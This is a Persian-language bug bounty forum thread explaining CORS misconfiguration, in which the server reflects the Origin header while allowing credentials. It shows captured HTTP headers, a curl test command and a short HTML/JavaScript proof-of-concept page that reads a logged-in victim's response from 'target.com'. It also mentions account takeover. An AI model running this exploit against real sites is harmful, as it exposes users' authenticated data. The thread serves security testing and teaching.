انجمن تیم امنیتی ایران سایبر

آسیب پذیری Misconfigure Cors در باگ بانتی (bug Bounty)

شروع موضوع توسط 1314CK.0FF3NSIV3 ‏2/1/20 در انجمن باگ بانتی (Bug Bounty)

  1. لطفا فایل های خود را جهت ماندگاری در انجمن اپلود کنید در صورت مشاهده لینک اپلود خروجی , تاپیک حذف خواهد شد .
    بستن اطلاعیه
بستن اطلاعیه


درود مهمان گرامي؛

مهمان گرامي، براي مشاهده تالار با امکانات کامل ميبايست از طريق ايــن ليـــنک ثبت نام کنيد .

حامی مسابقات و برگزار کننده دوره های پیشرفته ارزیابی امنیت برای سازمان ها فتح پرچم (CTF)
  1. 1314CK.0FF3NSIV3

    وضعیت:
    Offline
    تاریخ عضویت:
    ‏16/8/15
    ارسال ها:
    16
    تشکر شده:
    38
    جنسیت:
    Name:
    Nothing
    Main os:
    Ubuntu
    pic.png
    باسلام

    این آسیب پذیری اساساً بدلیل عدم پیکربندی مناسب CORS ایجاد می شود که در آن با null origin بودن به مهاجم اجازه credentials بصورت true را میدهد برای درک بیشنر مسئله در هر تارگت به هدر اون رجوع کرده و در هنگام بررسی پاسخ از سمت سرور آن نیز چک می کنیم که عملکرد این آسیب پذیری به چه صورت است .

    در Capture این مثال در هدر آن میبینیم :

    کد:
    GET /api/ HTTP/1.1
    Host: iran-cyber.net
    User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: ru,en-US;q=0.7,en;q=0.3
    Accept-Encoding: gzip, deflate
    Origin: iran-cyber.net
    Connection: close
    Upgrade-Insecure-Requests: 1
    Cache-Control: max-age=0
    میبیند که مقداری به Origin تخصیص پیدا کرده که همان آدرس است که اگر در پاسخ از سمت سرور رو بصورت Response نیز بررسی کنیم میبینیم که :

    کد:
    HTTP/1.1 200 OK
    Content-Type: text/html; charset=UTF-8
    Content-Length: 127168
    X-Content-Type-Options: nosniff
    X-XSS-Protection: 1; mode=block;';
    Access-Control-Allow-Origin: iran-cyber.net
    Access-Control-Allow-Credentials: true
    Access-Control-Allow-Methods: GET, POST
    Strict-Transport-Security: max-age=31536000
    Expires: Sat, 02 02 2020 12:29:00 GMT
    Pragma: no-cache
    Date: Sat, 02 02 2020 12:29:00 GMT
    Connection: close
    Set-Cookie: LEL_JS=true; expires=Sat, 02-02-202012:59:00 GMT; Max-Age=1800
    Cache-Control: max-age=0, no-cache, no-store, no-transform
    Vary: Accept-Encoding, User-Agent
    Strict-Transport-Security: max-age=31536000
    Set-Cookie: bm_sv=EDBA03CA40AC8D77509922CAA98130B4~OXaAg7LsgySzeWnqd9TzoaW6pGtPv7Ut2dYfUp7otuPnD1uJi3BUwSCYQiDP4q92NaiK6GLXT8xxPmWSgspcRyYjatr3Zc5lDyt8+MMSsDnq267a1bOhniBmABAbrga8gmdQdjDNE5GsLvrlCcm07Q3hffJKqLj7hIkMIJhtw4g=; Domain=.iran-cyber.net; Path=/; Max-Age=1053; HttpOnly
    که در Access-Control-Allow-Origin به ما آدرس رو مجددا داد :
    کد:
    Access-Control-Allow-Origin: iran-cyber.net
    Access-Control-Allow-Credentials: true

    پس میشه سناریو این آسیب پذیری رو اکسپلویت کرد که بصورت زیر است :


    کد:
    <html>
    <body>
    <center>
    <h2>IRAN Cyber</h2>
    
    <div id="demo">
    <button type="button" onclick="cors()">Run Exploit</button>
    </div>
     
    <script>
    function cors() {
      var xhttp = new XMLHttpRequest();
      xhttp.onreadystatechange = function() {
        if (this.readyState == 4 && this.status == 200) {
          document.getElementById("demo").innerHTML = alert(this.responseText);
        }
      };
      xhttp.open("GET", "https://target.com/", true);
      xhttp.withCredentials = true;
      xhttp.send();
    }
    </script>
     
    </body>
    </html>
    که اگر رو localhost به اون سایت هایی که آسیب پذیر هستند در اکسپلویت وارد کرده و اجرا کنین و خروجی آن بصورت زیر میبینید :
    CORS.jpg

    این آسیب پذیری حتی گاهاً تا TakeOver Account نیز پیش می رود در ادامه بیشتر توضیح داده می شود ....
     
    blackops، Request، Ruiner و یک نفر دیگر از این ارسال تشکر کرده اند.
  2. 1314CK.0FF3NSIV3

    وضعیت:
    Offline
    تاریخ عضویت:
    ‏16/8/15
    ارسال ها:
    16
    تشکر شده:
    38
    جنسیت:
    Name:
    Nothing
    Main os:
    Ubuntu
    باسلام
    Origin.png

    برای تست اولیه اگر با برپ سختتون هست میتونید از دستور زیر در ویندوز با curl انجام بدین و Respnse از سمت سرور رو شبیه بالا ببینید :

    کد:
    curl https://www.target.com -H "Origin: https://www.google.com" -I 

    لینک دانلود curl رو از آدرس زیر دریافت کنید :
    کد:
    https://curl.haxx.se/windows

    بااحترام .
     
    Ruiner از این پست تشکر کرده است.
بارگذاری...
به انجمن تخصصی امنیت ایران سایبر خوش آمدید . برای مشاهده تمامی تالار ها و امکانات ثبت نام کنید .